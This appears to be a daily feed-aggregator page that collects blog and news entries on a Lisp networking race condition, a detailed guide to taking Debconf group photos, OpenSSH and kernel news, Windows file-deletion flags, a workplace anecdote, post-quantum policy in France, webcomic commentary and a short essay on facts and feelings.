Monday, 06 July

21:21

Eugene Zaikonnikov: The Net is Too Damn Fast [Planet Lisp]

Recently I stumbled on a funny kind of race in distributed systems. I believe even the classic texts don't cover that.

So say we have a system ~S~ sending commands to a receiver ~R~ over network. ~S~ maintains network outbox and inbox handled by separate threads. A command is expected to complete with certain result sent back before the deadline, or else ~S~ would assume a request timed out. Quite basic so far.

However a certain class of commands (and only it) was timing out. They would fail regularly on some networks, sporadically on others and seemingly never on some. Perplexingly they were really simple commands, amounting to little else than sending back a reading of ~R~'s internal state. Increasing the command deadline had no apparent effect. Adding logging in places helped little and in fact often resulted in the issue disappearing.

Simplifying it quite a bit the ~S~ side looked something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
(defun handle-outbox (socket queue)
  (let ((command (pop queue)))
    (handler-case (send-command socket command))
      (network-error (c)
        (log-network-error c))
      (:no-error (c)
        (register-command-awaiting-response command))))

(defun handle-inbox (socket)
  (let ((reply (receive-incoming socket))
        (corresponding-command (command-awaiting-response response)))
    (when corresponding-command
      (process-reply-for-command command response))))

You see now what was happening: ~S~ was sending the command, ~R~ processing it, sending the reply and ~S~ handling the reply before the bookkeeping of outbox process would record the command. Then the response wouldn't match anything and be discarded as orphaned. Later the inbox would timeout the command (not shown).

Naturally any kind of latency (be it due to network load or extraneous syslog calls) would alleviate that. The fix was to make the code inelegant but correct by registering the command before the send attempt and un-registering in the event of failure.

tl;dr network can be way too fast

Aigars Mahinovs: How to make a good group photo [Planet Debian]

Taking a good group photo consists of multiple aspects:

  • hardware
  • scouting
  • organization
  • preparation
  • execution
  • processing
  • publishing

I can say with confidence that nearly everything here comes from having failed to do these things right at least once, even on the latest attempts, so this is an ideal to reach towards, not something we expect to hit every time.

The Goal

The main goal of a big event group photo is capture both the moment itself and each individual person inside that moment.

We want people, who were not there to see all the people involved and get an impression of what it was like being there. It needs to show the breath and depth of people that make up this group, this project.

And we want people who were there to be able to look back the next week, the next year or in ten years and remember - ah, yes, I was there, I was standing right there with this grin on my face next to this wonderful person and I was feeling great.

Hardware

Based on the goal we want to have high level photographic gear that is able to capture both a broad enough picture to encompass all the people and some of their surroundings to communicate the context (without undue distortions) and to deliver enough detail and resolution so that faces and facial expressions and underlying feelings of every single person in that group could be clearly seen and preserved.

To both capture the context and minimise distortion the final picture should be just a bit wider than normal human field of view. That is about 50mm for a full-frame camera or 35mm for a typical 1.6 crop camera. You can go a bit wider if there are no better alternatives (as detailed in the scouting section), but be prepared that corners of the image will be distorted and not really usable (but we can fix that in processing step). Or you can go to unusual aspect ratios, like we did in Debconf 10.

In the absence of a 100MP+ camera, you will need to be stiching together multiple frames to achieve resolution high enough to have enough pixels-per-face to see emotions clearly. This means that the photos you will actually be taking will be tighter than the overal field of view mentioned above. Still, a higher resolution camera body is preferrable - nowadays 24MP-32MP cameras APS-C provide a good compromise between resolution and price, but 45-67MP full-frame cameras also exist on the market. Assume that we will be shooting in a bright environment, so most likely with quite low ISO settings, that means that high-ISO noise characteristics of more expensive cameras will not really play a role here. You will also not need very fast burst modes, even manual speed of one frame per second is sufficient.

You will also want to get as much detail as possible out of your lens, and this is the most important part. You can do amazing work in all other steps of the process and have a great camera too, but if you pair it with a lens that is not sharp, then the end result will be disappointing.

You want the lens that is sharpest corner-to-corner when stepped down to about f/8-f/11, that you can get for your system. You also want that lens to be about 85mm full-size sensor or 50mm for 1.6 crop size. Luckily that kind of range is also a great range for optical design and sharpest lenses are typically available in exactly these kinds of sizes. You absolutely want to have a fixed focal lenght lens, not a zoom lens. Even profession grade zoom lenses often deliver worse image quality compared to fixed lenses that cost less 1/10th of their price (when shooting in the same focal length). Newer design lenses are better than older lenses - optical design, coatings and precision manufacturing have advanced a lot over the decades. Retro look is great for mood, but not as good for actual resolution and clarity. You don't need to overpay for most expensive lenses because those often only improve image quality on lower F-stops. To encompass the whole group we will need to shoot at f/8 and in bright light, so the extra benefits of those f/1.2-capable super expensive lenses will not come into play here.

We will have no use for a flash here. A tripod will be too restrictive when rapidly repositioning the camera between different parts of the panorama shoot. But a monopod might help with stability - I have not tried that myself, however.

For my last photos I used a Canon EOS R7 (32.5MP) with Canon RF 50mm f/1.8 STM lens and considering an upgrade to Sigma 56mm f/1.4 DC DN for the next time.

Scouting

Scouting a good location for the group photo is another big chunk of a successfull picture. The critical piece of the puzzle is lens-to-face distance. In order to keep everyones face in-focus and have enough resolution on the farthest faces (without making nearest faces trully massive) we want to do everything possible to reduce the variance in lens-to-face distance - to reduce the difference in distanct between closest and farthest face.

The most effective way to do that is to have the photographer climb higher. To see this in action on the Debconf photos, compare Debconf6 (very high camera position, group on level ground - good) to Debconf10 (camera not too high, group on stairs, still good) and to Debconf17 (camera could not get high enough and the group is on flat ground - not great). Even the Debconf25 photo was suboptimal from this perspective. The Debconf23 photo was a very good example from the recent years - good height and also the group was positioned in a semi-circle so there were no people directly in front and very near to the camera.

So you are looking for the highest point you could get to (even if that requires a special permission of key or a ladder) with a field large enough to fit the whole group comfortably. How to check that? Normally I simply take a photo from the top of the whole area and note down from there where the extreme corners of the group could be and still be fully seen in the shot - not blocked by trees, buildings and shadows. Then I go down and measure that space. Rule of thumb being - people in one horzontal line can stand 1 normal lenght step from each other and two horizontal lines can be half a step from each other vertically. So I can just measure a rough rectangle in steps, multiply the sides, multiply that by two and I have the rough number of people that can fit there for the photo.

Once you have a candidate location or two, it is important to check them at the same time-of-day as you plan to do the photo (see organization section for that). You want to make sure that the whole area of the group is in the same illumination - if half of the group is in the sun and half in a shadow, then you will be having a very bad time later. The absolute ideal positioning for the group photo is to have everyone be in shadow, but still have enough bright skies and bright buildings in front of the people to give good illumination of the faces. Worst you can do is have the sun be behind the people (so all the faces are really dark) and second worst is have the sun be directly in front of the group, so that the faces are very well illuminated, but everones eyes are closed because they are being blinded by the sun. And sometimes all you can do is pray for some light clouds to provide for even and dispersed light. Debconf23 was very lucky that way.

Another consideration is to how people are going to get to that place. You need to consider accessibility needs of people (it is ok, if it takes more effort or time, but it needs to be organized and communciated well in advance). And you need to consider how the big masses of people will be getting there - how to tell people where exactly it is and how to get there from various locations where people might be hanging out during the event?

Having an alternate location indoors might be necessary if the weather report for the next days is not sufficiently predicatable. We had to use that contingency in Debconf9, for example.

Organization

It's hard to take a good group photo if half of the group does not show up or is too late, so this needs some organization to happen smoothly.

First of all you need to choose date and time for the photo. The photo does not take too much time from the schedule of the event and can be squeezed in after all the other events are already scheduled. In fact I prefer that as it allows you the flexibility of choosing the date based on weather conditions and time based on light and shadow conditions in potential photo spots. You don't want to choose the daytrip day as most people will be away and return times are not really predictable. You do not want to choose the morning after Cheese and Wine party for obvious reasons. First day and last two days are also sub-optimal as some people arrive late and some leave early for various personal reasons. Also you don't want it to happen just before Cheese and Wine either because then you'd have very little time and clarity to do the processing of the image on the same day.

For timing, the best way, in my experience, is to schedule the photo directly after the end of talk sessions before a mean break - lunch or dinner. Typically in the Debconf schedule there are 2-3 daily breaks planned, say for Debconf25 there was lunch, afternoon break and dinner. Talks are planned to end ~10 minutes before those breaks (and meals) begin, so for example, afternoon break starts at 16:00 and all talks in the previous block end at 15:50. In such a case just schedule the "Group photo" event from 15:50 to 16:05. This gives people the info to go there directly from the end of all talks and that they will have sufficient time for break/meal afterwards. Do not forget to specify the location (as exactly as possible) in that event entry and make sure to post it at least two days in advance. People often want to wear something specific for the photo and thus need to know about it in advance. This also makes sure that people do not make alternate food plans for that specific break and don't leave the venue.

Announce the date, time and the exact location as wide as possible, don't be shy. Announce and discuss mailing lists, IRC, Signal, Telegram, make sure the front desk knows in case anyone asks in-person, ... Check that it is again included in the announcements email on the day preceeding the photo date.

When the date has arrived, it is a good idea to check in early with people with special mobility needs to make sure they know where to go, how to get there and how much time they will need to be able to get there on time.

As the final round of talks before the group photo is starting up, it is time to recruit "runners". I've had great success with this technique. The idea is pretty simple - for each room where people congregate (talk rooms, hacklabs, cafeteria, outside hackspace, front-desk, ...) go there and choose one person. You want to choose a person that you will recognise and remember among everyone else in the group, either because of who they are or what they are wearing, whatever works best for you. If they agree to help, instruct them to: "at end of talk, announce that the group photo happening now and the location, herd people towards the photo location, be the last person out, make sure there are no stragglers from this area behind you, when you arrive to the photo place I will assume that everyone else from this room is also now there, when you are there catch my attention and show this sign so I know for sure that it is all good and make sure that I did see it from you". With that sorted out all you will need to remember is how many runners you recruited and how many have reported in to figure out if everyone has now arrived or if we still have to wait for someone or some group.

Then you will only have one last point of organization left - shaping the crowd into a group. People will not know what your vision for the group photo is, so you will have to give clear and LOUD instructions on were people should not be standing. Use clear, large gestures to support your words. You want to compact the group, have the people that just joined in the last moment and are standing to the side come deeper in and join the crowd. Have any holes in the middle of the crowd filled in. Forming a semi-circle instead of a blob helps with averaging face-to-lens distances. Make sure people are not in unexpected shadows. Make sure carried objects, like umbrellas of flags do not cover the faces of other people. Take the time to look at everyone face to make sure there are no people hiding behind someones shoulder - typically they are not aware that their face is in fact not really visible. If there are such people, call them out and point directly at them and encourage them to step forward, if they wish to do so. You are the only one seeing the final picture now and only you can correct it before capturing the moment. So a few extra seconds here are worth taking, even if 300+ people are standing in scorching heat and waiting on you.

When you are happy with what you are seeing, make sure to tell people clearly that you are now about to take the pictures and again remind them not to move and explicitly not to turn their heads to the side until you are done (this is the source of most of the extra work in processing). Be very loud and clear and make sure you have everyones undivided attention before you start saying the important stuff.

When done - say so. There will be other groups that will want to also have a photo taken after the main group is a bit more dispersed, so don't run away. Typically at least the T-shirt group will want a picture and also all the organizers.

Final bit of organization during the group photo shooting itself is the sneaky self-insert. You amy choose not to bother with it, or do it in the simplest way, like I did in Debconf6, but if you really want to blend in with the crowd, you need to have someone else take a photo of you in the exact same location at the same date and time from the same location. So you should already during shaping the crowd decide where you would fit in, it is easiest to blend in at the back of the crowd and to one or other side, so that it appears like you are just standing behind the shoulders of a couple peoples. Remember that spot - it is easiest if you stand in the exact same ground spot when your photo is taken. Just go down, recruit a volunteer to take your photo, make sure the settings are fixed to the same ones as for ther group photo shots and have them take a handful of shots of you - one of you centered in the camera frame and a couple more with you more towards the corners of the frame. This distortion from being off-center in the frame may be important later.

Preparation

In addition to preparing the crowd for the photo, you also need to prepare yourself and the equipment. Make sure you have dusted your camera sensor and cleaned both inside and outside glass of your lens. It is usually a good idea to remove any filters from the lens. Install the hood, if that could help with blocking the sun flares. Make sure you have the right lens and that you have installed the right lens.

For fixed settings I typically shoot in JPEG with RAW being there more like an emergency backup. The extra dynamic range of RAW could be used, but it is really complex to do that in combination with image blending and it is hard to get right, so I prefer an all-JPEG workflow and fix the dynamic range in the scene itself, before shooting. For Canon I am using the Standard profile that boosts the color saturation and sharpness a bit as I just enjoy that look and find it hard to get anything significantly better from RAW data even with a lot of effort. In any case make sure you have enough space on the cards to take at least 100 images and that you have a full battery. Do not use high speed burst setting because it is then too easy to take too many pictures at the start of the sequence and be stuck with your camera still in "Busy" state writing big RAW files to slowish SD cards and not allowing you to finish the full picture rapidly.

You want to have the shutter speed at at least 1/100th of a second to prevent blur from both your hand movements and also from people in the shot moving arround a bit (image stabilisation will not help you there). And you want to have the apperture to be around f/8 - lower appertures risk people in front or behind falling out of focus, make the lenses look less sharp. Higher appertures also start to become less sharp due to diffraction effects above f/8. ISO should stay as low as possible, ideally at ISO 100, but if there is not enough light then upping the ISO to 400 would be the first step that I would try to do and second would be decreasing the apperture to f/5.6. If there is too much light, then increasing the shutter speed should be the safe thing to do.

As people start to arrive into the shooting location - check the exposure and nail down the settings, ideally in manual mode. Consider that left side could be a bit lighter or darker than right side. Err on the side of making the picture a bit too dark as there is more depth to darkness before cut-off compared to clipping on the high end. However, do not trust the exposure detection, instead take a picture and look specifically at skin tones in faces of people that already are standing in the photo area. Faces are the key bit and the exposure needs to be adjusted just to the and ignore darker of lighter clothing. Do some test shots and find settings where faces look not too bright, but also not very dark and fix those settings in manual mode.

Now you are ready for the action. Shape the crowd, check the faces and the action can start!

Execution

During taking of the group photo you want to finish it fast, but at the same time you have to take the time to make it right. If you hurry too much under pressure, you risk being left with unusably blurry images and the whole effort wasted. Having already prepared and verified the manual settings makes it easier.

When you are taking pictures, you have to remain as still as possible - even at very high shutter speeds even slow hand movements are still bad fro image quality. So think of the movement as of biathlon athlete shooting the very middle of five, very separate targets - take a burst, reframe, then steady up for a second and only then take the next burst. 3 frames per burst are sufficient. 90% of the time the very first photo of a burst will be best. As you move from frame to frame, aim for just a bit more than half-frame overlap. This will give the opportunity to skip frames if all is good, but also have backup coverage of every face in case of problems. Proceed systematically, I typically start off on the top left of the crowd, then go right until the end of the line, then shift down half a frame and go left until the end and repeat until I am done with the crowd.

After that it is very helpfull to also immediatelly take photos of a "frame" around the whole crowd. Stitching process often distors the frames in weird ways that leave holes in the resulting image that you can fill if you have a wide frame around the crowd. It is possible to compensate with creative cutouts in the final image (like Debconf9), but the more framing room you make, the more flexible you will be able to be with cropping of the final photo. The frame also gives you the opportunity to capture more of the context of the place and space.

As an example, Debconf25 group photo in the end consisted from 9 images + 1 for sick people + 1 for me. I ended up missing the framing shots for bottom left, top left and top right corners. To get there I took 68 images. And in some years it was more than a hundred.

Processing

This part might be less stressful than taking the pictures from intensity perspecive, but it lasts longer. Depending on you luck, skill and perfectionism it can take anywhere from 3 to 9 hours of work to complete.

Before you start, howerver, you should first request things that you will need for other people. This can even be done before taking the actual group photo, but usually I forget. To finish the photo you will need three things:

  • good quality vector graphics of the current Debconf logo
  • good quality vector graphics of the next years Debconf logo (even if preliminary)
  • motto of the conference

The first two you should be able to get from the respective organizers. The motto is harder. I typically try to ask the current DPL to come up with something describing the current mood of the project or of the event, but it is rare that it is that easy. Most of the time I came up with something as I was editing the photo and reflecting on what was the mood, the feeling, the mojo of this conference and of this year was like. Bend that around a recognisable phrase or expression, make it a bit more insider-relevant and you are on the right path. Some years this was the hardest part.

For the panorama stiching I will describe the workflow that has served me good for years, but maybe there are better ways possible nowadays. Feel free to let me know!

First I would save all photos taken and select one sharpest photo from every burst. Next I would select the minimal number of photos that appear to be covering the entire crowd. The fewer images you use, the better in the end because the most quality problems crop up in the areas where photos are getting stitched together. Fewer seams leads to fewer issues.

Open Hugin (you will also need enblend and enfuse installed) and import your minimal set of images into it. Click the "Align" button and wait a while - the processor will be trying to figure out keypoints in each image and then try to match these points between the images to try to fit them all together into a single projection. To do that it will distort the images. This is the trial and error process part. You may need to add, remove or replace images to get the stiching to work or to work better. You may want to add more of the frame images to fill the ragged holes around the image.

After initial allignment, go to "Move/Drag" tab and move the image a bit up in the projected field of view and make it a bit more central visually. That will help a bit with the distortions in the near-by people and people in the corners of the image. In the "Crop" tab set the initial crop - leave it generous, you can always crop more in later steps. Do not be afraid of leaving in sizable chunks of black homes, empty skies or grass. All of that can be filled in later as well.

Go back to the "Assistant" tab and click "Create panorama". It is good enough to have JPEG output at 100% quality using exposure corrected low dynamic range output option. Make sure to check the "Keep intermediate images" option. This will not only generate the final, merged panorama, but also keep around the individual images after perspective correction and exposure blending steps. These are critical for fixing blending error in the next step.

You might need to go back a forth a few times with a different sets of source images, maybe adding some image between other two, maybe removing another to reach a better starting point. The key part to pay attention - how many ugly stiches are there in the image. Check every face, the blending algorithms do not recognise faces and sometimes try to stich one face from two or more images creatying very weird effects. The can be fixed in the next step, but it is rather hard manual work, so the fewer such faces are in the blended image, the less work you will have. In some years I've managed to find a combination where all faces were good and in other years I had to manually fix 13-15 faces.

Do not try to blend the extra pictures (like with you or with sick people) into the main panorama with Hugin - it will get very confused with the parts of the grass that it is able to see where other people were standing.

The next is the final processing in GIMP. Think of it like a large and complex project - do as much as possible in separate layers, save often.

Fixing wrongly stiched faces and also putting yourself into the photo are very similar activities in the end. Just the scale and the source differ. For yourself you just cut out yourself (upper torso is enough) from the separate photo. For corrupted face, choose one of two intermediate images that the Hugin created where the face is transformed, but not yet merged (with a different version of itseld). In either case crop the photo to roughly the interesting size and put roughly in the right spot as a separate layer on top of the group photo background. Reduce the opacity of the small layer to 30-40% and zoom in to 400%. With that it is much simpler to position the layer with pixel precision. Then all you need to do is add a layer mask to this layer and paint it just right. Basically in layer mask black means transparent and white means non-transparent. So you need to just make everything that is you have white mask and everything that is not you have black mask. And smudge the border a bit with finger tool or blur to make the transition smoother. Easy to say. Hard to do. This is what takes most of the actual work hours in post-processing.

You might miss someone. I am sure Phill is just thrilled to see me in the very middle of the Debconf25 final picture .... But do try to fix them all.

Use large, sweeping geometric figures to cover up black holes, empty graas fields and other sub-optimal corner features. And then use that newly created free space to put in a large version of the logo of this years conference, decently sized motto and slightly smaller invitation to the next years conference.

Do not forget to add a copyright and license statement somewhere in the corner in smaller, but still well readable font. I am using a text like: "Photo by: Full Name, Email: fullemail@debian.org, License: GPLv2+ or CCv3-BY" This ensures that this image may be used in any press coverage (with basic attribution) and also can be included in any GPL-licensed software, if that ever comes up. The same statement is also in the metadate of the image file (see Image-Metadate-Edit metadate in GIMP) along with information that states that this is "Debian Developer Conference Group photo, City, Country, Year". Image->Image properties->Comment is another place where GIMP hides this EXIF information.

For ease of use, in addition to a full-resolution image it is also useful to make a lower resolution version that would still fit on a 4K screen at full resolution, so about 3840px wide. Some photo hosting services set other limits for image size as well, so it might be needed to scale the image down below 100Mpix to upload it to Google Photos, for example.

Publishing

So, it is finally 1AM and the group photo is ready! How do you push it out to people? Well, in all possible ways and places. Again - don't be shy, people do really want to see it.

Push it to whatever you use for your shared photos. Push it to Debconf shared git (note that this is GIT-LFS repo, make sure you know how to add content to the LFS specifically). All permanent links to that in GroupPhotosAll wiki. And then send those links to IRC, Signal, Telegram groups, debconf-announce mailing list. Publish it in your blog and push that to Debian Planet. Push it in Threads, Bluesky and Mastodon. Send an email separately to Debconf orga team. And one to Debian Publicity Team so they can put it into the Debian Home Page and push via Debian micronews accounts.

And that is about it. Now you can go back to enjoying the rest of the conference. Or running around doing other things that you think need to be done. It's up to you. You did it. This moment will remain with people for a very long time. And you helped.

Questions? Feedback? Just ask here or here.

20:07

Rex Ready Player One, Part One [Penny Arcade]

I'm going somewhere for a little while, so we looked at our list of quote unquote treasured, underutilized characters from our ancient past and decided to take Rex Ready for a spin. It seems like it ended up being topical.

17:49

Link [Scripting News]

James Talarico, Democrat running for Senator in Texas reminds me of Matt Mullenweg, who also happens to be from Texas. He speaks as confidently as Obama, about the right things, wants to run our government like a freaking government. To think that's a campaign issue in the United States of America says why I did not celebrate our 250th on Saturday. I tried to imagine what it will be like when we start becoming ourselves again. ;-)

17:35

OpenSSH 10.4 released [LWN.net]

OpenSSH 10.4 has been released. In addition to a number of security and bug fixes, there are a few notable changes; this release adds experimental support for a composite post-quantum signature scheme combining ML-DSA 44 and Ed25519 as described in this IETF draft. With 10.4, if OpenSSH is compiled with sandbox support it will fail on Linux systems that have not enabled SECCOMP or NO_NEW_PRIVS; prior to this release, sshd would log an error but continue operation. See the release notes for a full list of changes.

17:00

Link [Scripting News]

Today's song: "July is dressed up and playing her tune."

Link [Scripting News]

We just implement Cute Paste in the new product and I keep hitting a limit that it has. I love the feature, in most cases. Here I've set up an <img src="xxx">, the xxx reserving space for the URL that I'm now going to get. When I come back I select xxx and paste, and in its place is the full url in text, linked to itself. I laugh, no feature is free, there's always a tradeoff and sometimes it breaks something that worked before.

16:07

[$] The kernel's iomap layer [LWN.net]

Conversations about the kernel's filesystem implementations often involve a layer called "iomap", but relatively few people can reliably say what iomap actually is. That is just the kind of gap that LWN exists to fill. In short, iomap handles the mapping between data in the filesystem space (identified by a file of interest, and an offset within that file) and in the storage space (which may be a memory location, or a set of blocks on a storage device). Using that mapping, iomap handles a long list of common, filesystem-related tasks, allowing a lot of boilerplate code to be removed from individual filesystem implementations.

15:28

The web is about interop [Scripting News]

I'm doing a big new thing with RSS, and that's got me thinking a lot about where I want to go after the first round of new functionality. I noticed that Andrew Shell came out with a new version of his open source rssCloud hub server, which we use here, that now supports WebSub. So I decided to find out if it was worth supporting.

There isn't very much I'd have to do beyond adding two Atom elements to my feed, and an Atom namespace declaration in the top line of the file. So it's not an easy thing to do, because I don't see the need for Atom to be required for WebSub. How did they come to that conclusion? I can only imagine -- it's not as if RSS was unknown to them (I hope).

I wish the WebSub group had gotten together with RSS people and come up with a neutral way to include a link to my WebSubHub. Bub, that's just good web sense. You want the max interop asap. Make it easy for people to support what you want them to support. You put personal jealousy ahead of interop, and that should be against the law in the Land of the Web.

On the web our goal is interop. That's it. We should have worked together. Yeah I wish you wouldn't have done it, and proof you didn't need to is that Andrew was able to build it into his server, with some help from Claude btw.

15:07

I opened a file with FILE_FLAG_DELETE_ON_CLOSE, but now I changed my mind [The Old New Thing]

The CreateFile function has a flag called FILE_FLAG_DELETE_ON_CLOSE, which means that the file will be deleted when the last handle to the file is closed. But what if you pass that flag and then change your mind? Is there a way to call take-backs?

No, there are no take-backs. The FILE_FLAG_DELETE_ON_CLOSE flag is permanent.

So what do you do if you want to make a file deleted when the last handle is closed, but only based on some condition determined later?

What you can do is open the file normally, and then once you realize that you want to delete it on last close, you can turn the “delete on close” flag on.

BOOL MarkFileAsDeleteOnClose(HANDLE file)
{
    FILE_DISPOSITION_INFO info{};
    info.DeleteFile = TRUE;
    return SetFileInformationByHandle(hfile,
        FileDispositionInfo, &info, sizeof(info));

Unlike FILE_FLAG_DELETE_ON_CLOSE, you can take back the DeleteFile disposition.

BOOL MarkFileAsNoLongerDeleteOnClose(HANDLE file)
{
    FILE_DISPOSITION_INFO info{};
    info.DeleteFile = FALSE;
    return SetFileInformationByHandle(hfile,
        FileDispositionInfo, &info, sizeof(info));

The post I opened a file with <CODE>FILE_<WBR>FLAG_<WBR>DELETE_<WBR>ON_<WBR>CLOSE</CODE>, but now I changed my mind appeared first on The Old New Thing.

14:35

Security updates for Monday [LWN.net]

Security updates have been issued by AlmaLinux (container-tools:rhel8, grafana, grafana-pcp, kernel, ruby:2.5, and ruby:3.3), Debian (bird3, chromium, kernel, linux-6.1, mediawiki, nginx, openvpn, php-phpseclib, php8.2, php8.4, and sympa), Fedora (7zip, buildah, chromium, clamav, freerdp, leptonica, mariadb10.11, mariadb11.8, nextcloud, nsd, openqa, openvpn, os-autoinst, pdns, pdns-recursor, perl-Crypt-ScryptKDF, podman, python-jupyter-server, and python-streamlink), Mageia (mariadb and yt-dlp), Slackware (libevent, libseccomp, mozilla, mutt, and php82), SUSE (apache2, containerd, dnsmasq, docker, dracut, firewalld-legacy, gimp, glibc, golang-github-docker-libnetwork, google-guest-agent, gstreamer-plugins-bad, helm, kernel, kernel-devel, keybase-client, kitty, krb5, libarchive, libnfs, libslirp, nilfs-utils, openCryptoki, openQA, openssl-3, pacemaker, pcr-oracle, perl-DBI, perl-List-SomeUtils-XS, podman, python-pip, python-pydata-sphinx-theme, python-tornado6, python3-lxml, python311-mistune, python313-joserfc, rmt-server, sg3_utils, systemd, tracker-miners, and xdg-dbus-proxy), and Ubuntu (cifs-utils, linux-nvidia, linux-nvidia-6.17, linux-raspi-realtime, and ncurses).

12:42

Best of…: Classic WTF: Difficult Personality [The Daily WTF]

As the US took this weekend to celebrate their complicated relationship with tyranny, we reach back through the archives for another story of tyrants. If you think about it, the Declaration of Independence is basically the same thing as quitting without notice. Original --Remy

It was Steve's first week on the job, and he had plenty of questions about the code base and the new features he was supposed to implement. He muddled through for most of the week, but Friday morning he hit a brick wall and needed to talk to Bill, the architect.

"Can I meet with you for like an hour to go over things?" Steve asked.

"No."

"Can I get half an hour then? I h-"

"No. Company meeting, every Friday, 12-5pm. It should be on your calendar. I'll forward the invite."

Bill also couldn't free up time in the morning, so that meant Steve was stuck until Monday afternoon. Still, it probably wasn't all bad. He assumed that since this was a small company, in startup mode, it was going to be one of those meetings that was less meeting and more party. He had heard about one company in town that had a kegger every Friday afternoon.

Steve really should have known better. During his interview, the actual technical questions were thin on the ground. It focused more on "soft skills", like time management. He fielded a lot of questions about how best to manage his time. The other question that really stuck out in his mind was the standard, "Have you ever had to deal with a difficult personality in the workplace? How did you deal with it?" It was memorable, less because the question itself was unusual, but because at least six variations of the same question showed up in the interview.

On his very first day, he learned who the difficult personality was: Frank, the boss and grand-high pooba of the dev team. Around 2PM Frank lumberghed himself into Steve's cube. "Yeah, we've got a little problem," Frank said. "I've noticed you spending a great deal of time in the break room."

"Oh, yeah, I was just going back for more coffee," Steve said with an awkward laugh. "You know how it is with programmers- we're fueled by caffeine."

"Yeah, well, if you could just go ahead and make sure you're at your desk doing work, that would be great."

As it turned out, Frank had gone easy on Steve because it was Steve's first day. The next day, Steve sat in on Bill's planning meeting- a 4-hour marathon to organize the development backlog and parcel out work. Halfway through, Bill called for a break. He and a few other co-workers darted outside to gradually commit suicide via cancer, while everybody else hung around the room committing suicide by donut. And then Frank walked in.

"What's happening?"

"It's um… just a little break," one of the devs replied. "Bill's outside."

"I see." Frank loitered in the room until Bill returned. The instant Bill's foot crossed the threshold of the meeting room, Frank's human facade was stripped away, and a spitting, slavering demon replaced him. He proceeded to dress Bill down, back up and right back down for disrespecting his team, disrespecting the company, disrespecting Frank and Frank's poor elderly mother with his attitude. He closed with, "They're developers and I want them sitting around and developing! Not waiting for you to finish your smoke breaks!"

On Thursday, Steve got to drive a meeting to show off the latest batch of features the dev team had completed. When he turned on the projector, Frank asked, "What's wrong with your computer?"

"Um… nothing?"

"The desktop is wrong! None of the icons are in the right place!"

Like most developers, Steve had changed the wallpaper and reorganized his desktop to suit his working style. Unfortunately, his transgression against the default desktop settings set Frank off on a long rant that consumed the entirety of the meeting. Steve was lucky, Frank claimed, that he wasn't fired on the spot. Standard work was vitally important, and personalization was frowned upon. "It's vitally important that any developer can use any other developer's computer- we can't afford to waste a minute of time just because you needed to be a special little snowflake!"

By the time the Friday afternoon meeting rolled around, Steve should have been expecting some kind of Frank-led time management course. Instead, Bill handed him a mop. "New blood gets mop duties. Start in the break room, and then hit the other common areas."

"Excuse me?"

"Frank's orders. Every Friday, we spend the afternoon cleaning the office, from top to bottom."

"There isn't a cleaning crew?"

"Oh, there is," Bill said. "Frank doesn't trust them to do a good job." That weekend, Steve decided to take Frank's lessons on time management to heart, and immediately left to seek employment that didn't involve wasting his time.

[Advertisement] BuildMaster allows you to create a self-service release management platform that allows different teams to manage their applications. Explore how!

12:14

France to Stop Certifying Non-Quantum-Safe Encryption [Schneier on Security]

France is accelerating its transition to post-quantum encryption:

France’s cybersecurity agency ANSSI said on Tuesday it would stop certifying security products that lack quantum-resistant encryption, a move that will force government bodies and critical operators to shift away from older systems.

Samih Souissi, ANSSI’s chief of staff, said at the France Quantum conference that the agency would halt such certifications from 2027, and that businesses should be buying only quantum-safe products by 2030.

ANSSI approval is required for use in French government agencies and critical infrastructure, making the policy a de facto phase-out of older encryption.

11:42

Grrl Power #1475 – Megascorpion [Grrl Power]

Super Hiro is about 80% as strong as Maxima, but his flight speed is just shy of supersonic. Anvil can theoretically out-strength anyone on the team by absorbing enough kinetic energy (being punched all-out by Hiro doesn’t make her as strong as Hiro, there’s conversion entropy, and a lot of the energy goes to reinforcing her body) and no one is sure what her upper limit is and if she would instantly explode if she exceeds it or develop a full-body hernia or what.

Basically, no one else was quite right to take Babezilla down quickly and nonlethally. Dabbler did some back of the cyber-abacus math and gave Max an idea of how hard and fast Max would need to hit her without exploding her head. I’ve posted about it before, but I’m positive super fights would wind up being extremely lethal. If some guy is robbing a bank wearing, let’s say a tank themed costume, you really have no idea how much punishment he can take. So you give him a tap that would lay out a normal human, or try to, because if your regular punch is measured in megatons, scaling it back down to a 300 lb boxer punch might not be a level of control that’s easy to achieve. Maybe to you, exhaling differently during the punch means the difference between 300 lbs and 3,000. Maybe you lay the guy out, maybe he doesn’t realize he’s being punched, maybe you break his neck. So if he’s still upright and giving you flack about how his grandmother hits harder, you go back in and punch again a little harder, trying to work your way up till you’re hitting him as his level, or just slightly above, but somewhere between 30,000 lbs and 180,000, his skull pulps. And that’s a hero trying to control his strength. A supervillain with eye lasers could walk into a stadium and kill 5,000 people before a hero shows up and decides there’s no time to work his way up to just the right amount of takedown force.

There was a start of a good discussion on the previous page about whether or not Babezilla’s phone would still work when enlarged. I think it comes down to how she grows. If she just summons more molecules to fill in the spaces, then I think the battery would still work, but I don’t know the antenna. I also don’t know if the CPU or the screen would still work, because suddenly regular sized electrons are flying around circuits that are 55x wider and thicker, and data transmitted to the screen (like the LEDs themselves) is traveling through wires that used to be hair-thick but are now finger-thick. I think there’d be some lag at any rate.

If she grows by making her molecules larger, well, then how does she breathe? The phone itself should still work perfectly, but again, not sure about the antenna. I think that would fail, unless the EM waves returned to regular size once they leave her super-domain, then yeah, I guess it’d work.

And if it’s some sort of weird reverse-TARDIS-she’s-bigger-on-the-outside nonsense, then of course it’d work, because she’s just closer than you think she is.


Oh, look who it is in the vote incentive. And a not-quite-yet-but-it’s-coming NSFW version over at Patreon.

Vote incentive and Patreon updated with some shading. Not finished yet, but progress.

I think she would get in trouble for doing this. She’d mess up the… floor of the waterfall? Is that what it’s called? The receiving pool? No, probably not that. Anyway, she’d churn things up and cause a ton of weird erosion.

Since you might be wondering, Niagara Falls is about 165 feet high, so Babezilla obviously doesn’t have to be full sized. I’d say she’s about 175-180 feet tall here?


Double res version will be posted over at Patreon. Feel free to contribute as much as you like.

10:21

Facts and feelings [Seth's Blog]

The world is like this and therefore I feel like that.

That seems right. It’s raining, so I’m sad. The person cut me off in traffic and so I’m angry. Ford makes better cars, so I like them more than Chevys.

Occasionally, this cause and effect is what happens. But more often, it goes in the other direction.

We find ourselves with feelings, and then we find (or invent) ‘facts’ to justify them.

This happens in elective politics all the time. It’s not the policies that drive voters, it’s emotions. The policies come later. It also presents in personal interactions, families, workplaces and branding.

When in doubt, don’t argue about the facts. Look for the feelings. Everyone has their own feelings, whether you agree with them or not. When we validate feelings, we create connection that gives us a chance to examine the facts together.

09:28

